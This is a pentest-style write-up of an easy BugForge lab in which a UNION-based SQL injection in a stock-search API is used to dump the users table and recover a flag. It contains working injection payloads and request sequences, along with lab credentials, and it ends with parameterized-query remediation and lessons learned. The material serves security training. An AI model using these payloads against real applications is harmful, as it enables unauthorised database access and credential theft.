BugForge — 2026.06.10

Shady Oaks Financial: UNION-based SQL Injection

BugForge UNION-based SQL Injection easy

Part 1: Pentest Report

Executive Summary

Shady Oaks Financial is a stock-trading web application built as a React single-page app over a JSON API with HS256 JWT bearer authentication and a relational SQL backend. The stock search endpoint concatenates user input directly into a SQL string literal, allowing a UNION-based SQL injection that reads arbitrary database tables. Any authenticated low-privilege user can recover the full users table, including administrator credentials.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 UNION-based SQL injection in stock search High 6.5 CWE-89 GET /api/stocks/search

The single finding is flag-bearing: the application stores the objective flag in the administrator account’s password column, which is recoverable through the injection alongside every other user’s credentials. The endpoint is auth-gated, but registration is open, so the practical barrier to exploitation is a self-registered account.


Objective

BugForge daily lab, easy-rated, with the hint “Search for the best stocks.” The objective was to recover the flag from the target application.


Scope / Initial Access

# Target Application
URL: https://lab-1780854506268-d39x32.labs-app.bugforge.io

# Auth details
# HS256 JWT bearer token in the Authorization header.
# Sample token decodes to: {"id":5,"username":"haxor2","role":"user"}
# Starting privileges: low-privilege user (role:user).

The search request carried a valid low-privilege user token. The stock search endpoint requires that token: requests without it are rejected, so the injection is reachable only by an authenticated account. Registration is open via /api/register, so obtaining a qualifying account is trivial.


Reconnaissance: Mapping the JSON API Surface

The frontend is a static React bundle served alongside a JSON API. Walking the API calls the SPA makes surfaced the endpoint inventory and the shape of the search response, which is what made the injection both findable and directly exploitable.

  1. The application exposes a stock-search endpoint, GET /api/stocks/search?q=<term>, that takes a free-text query parameter.
  2. The search response is a JSON array of stock objects with eight keys: id, symbol, name, initial_price, current_price, description, trend, created_at. An eight-key response is a strong hint at the underlying column count for a UNION attack.
  3. Two of those keys (trend, created_at) render as strings in the response, which makes them suitable carriers for string data injected through a UNION select.
  4. Authentication is a low-privilege user JWT, and the broader API exposes user-oriented endpoints (/api/portfolio, /api/transactions, /api/register), implying a users table behind the application.

Application Architecture

Component Detail
Backend JSON API
Frontend React single-page application (static JS/CSS bundle)
Auth HS256 JWT bearer token in the Authorization header
Database Relational SQL (UNION and ORDER BY behavior, single-quote string context)

API Surface

Endpoint Method Auth Notes
/api/stocks/search GET Yes Vulnerable. UNION SQL injection in q.
/api/stocks GET Yes Stock listing
/api/stocks/:id/history GET Yes Price history
/api/portfolio GET Yes User portfolio
/api/register POST No Open registration
/api/verify-token POST Yes Token validation

Known Users

Username ID Role
haxor2 5 user

Attack Chain Visualization

┌─────────────────────┐   ┌─────────────────────┐   ┌─────────────────────┐
│ GET /api/stocks/    │   │ q=404'              │   │ q=404' order by N-- │
│ search?q=<term>     │──▶│ → HTTP 500          │──▶│ → 8 ok, 9 errors    │
│ JSON array of stocks│   │ string-context SQLi │   │ column count = 8    │
└─────────────────────┘   └─────────────────────┘   └─────────────────────┘
                                                                │
                                                                ▼
┌─────────────────────┐   ┌──────────────────────────────────────────────┐
│ admin password col  │   │ UNION SELECT null×6, username, password       │
│ holds the flag      │◀──│ FROM users-- → creds land in trend/created_at │
│ bug{...}            │   │ JSON keys                                      │
└─────────────────────┘   └──────────────────────────────────────────────┘

Findings

Severity: High CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) Endpoint: GET /api/stocks/search Authentication required: Yes

Description

The q query parameter of the stock search endpoint is concatenated into a single-quoted SQL string literal without sanitization or parameterization. A single quote in q breaks out of the literal and produces a syntax error, and a UNION select appended after a comment marker returns attacker-controlled rows in the JSON response. Because the search response serializes eight columns by position, a UNION select of eight values maps each value to a fixed JSON key. Placing username and password in the two positions whose keys render as strings (trend, created_at) returns the full users table in the response.

Impact

Any authenticated low-privilege user can read the full users table, recovering every account’s credentials including the administrator’s.

Reproduction

Step 1: Confirm string-context injection

GET /api/stocks/search?q=404' HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>

Response: HTTP/1.1 500. The unbalanced quote breaks the SQL string literal, confirming the parameter is injected into a single-quoted string context.

Step 2: Confirm boolean control

GET /api/stocks/search?q=404' or 1=1-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>

Response: HTTP/1.1 200 returning all stock rows. The injected or 1=1 overrides the search filter, confirming the input alters query logic.

Step 3: Determine column count

GET /api/stocks/search?q=404' order by 8-- HTTP/1.1
...
GET /api/stocks/search?q=404' order by 9-- HTTP/1.1

Response: order by 8 returns 200; order by 9 returns 500. The query selects 8 columns.

Step 4: Confirm UNION and target table

GET /api/stocks/search?q=404' union select null,null,null,null,null,null,null,null from users-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>

Response: HTTP/1.1 200. The UNION select of eight NULLs against users succeeds, confirming both the column count and the existence of the users table.

Step 5: Extract credentials

GET /api/stocks/search?q=404' union select null,null,null,null,null,null,username,password from users-- HTTP/1.1
Host: lab-1780854506268-d39x32.labs-app.bugforge.io
Authorization: Bearer <low-priv JWT>

Response: HTTP/1.1 200 with the users table reflected into the JSON array. Column 7 (username) lands in the trend key and column 8 (password) in the created_at key:

[
  {"trend": "admin",    "created_at": "bug{ePngTqMStGZXkUaAVYc5ktS0ABckZDXv}"},
  {"trend": "haxor",    "created_at": "password"},
  {"trend": "haxor2",   "created_at": "password"},
  {"trend": "investor", "created_at": "invest456"},
  {"trend": "trader",   "created_at": "password123"}
]

The administrator account’s password column holds the flag.

Remediation

Fix 1: Use parameterized queries

// BEFORE (Vulnerable)
const rows = db.query(
  "SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
  "FROM stocks WHERE name LIKE '%" + q + "%'"
);

// AFTER (Secure)
const rows = db.query(
  "SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
  "FROM stocks WHERE name LIKE ?",
  ['%' + q + '%']
);

Additional recommendations:

  • Run the application’s database connection under a least-privilege account scoped to the tables it legitimately needs, so a query defect cannot read unrelated tables such as users.
  • Store passwords as salted hashes, not recoverable plaintext, so a read primitive does not yield usable credentials. (The API returns plaintext values; the storage layer may or may not be plaintext, but the values are recoverable as returned.)
  • Do not store secrets or objective values in a column that user-facing queries can reach.

OWASP Top 10 Coverage

  • A03:2021 Injection: User input from the q parameter is concatenated into a SQL string literal without neutralization, allowing a UNION-based injection that reads arbitrary tables.
  • A01:2021 Broken Access Control: A low-privilege user reads the full users table, including administrator credentials, crossing the data-access boundary the role should enforce.

Tools Used

Tool Purpose
Caido Request interception and replay

References

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
  • OWASP Top 10 A03:2021 Injection: https://owasp.org/Top10/A03_2021-Injection/
  • OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Part 2: Notes / Knowledge

Key Learnings

  • A JSON search endpoint that returns serialized rows is itself the exfiltration channel; no error-based or blind extraction needed. When a UNION-injectable endpoint already reflects query results into a JSON array, count the columns, pad the UNION with NULLs, and route your selected values into the positions whose JSON keys render as strings. Here the eight-key search response (trend, created_at among them) mapped directly to the eight selected columns, so username and password came back in the response body with no second-order trickery.

Failed Approaches

Approach Result Why It Failed
Request /api/stocks/search with the Authorization header removed Not completed this rotation The injection was found and the objective met before testing anonymous reachability; left as an open question.
Fingerprint the DBMS Not pinned String concatenation, UNION, and -- comments are generic across SQLite, MySQL, and Postgres; nothing in the responses differentiated the engine, and it was not needed to reach the objective.

Tags: #sqli #union-injection #cwe-89 #bugforge #webapp Document Version: 1.0 Last Updated: 2026-06-10

#sqli #union-injection #cwe-89 #bugforge #webapp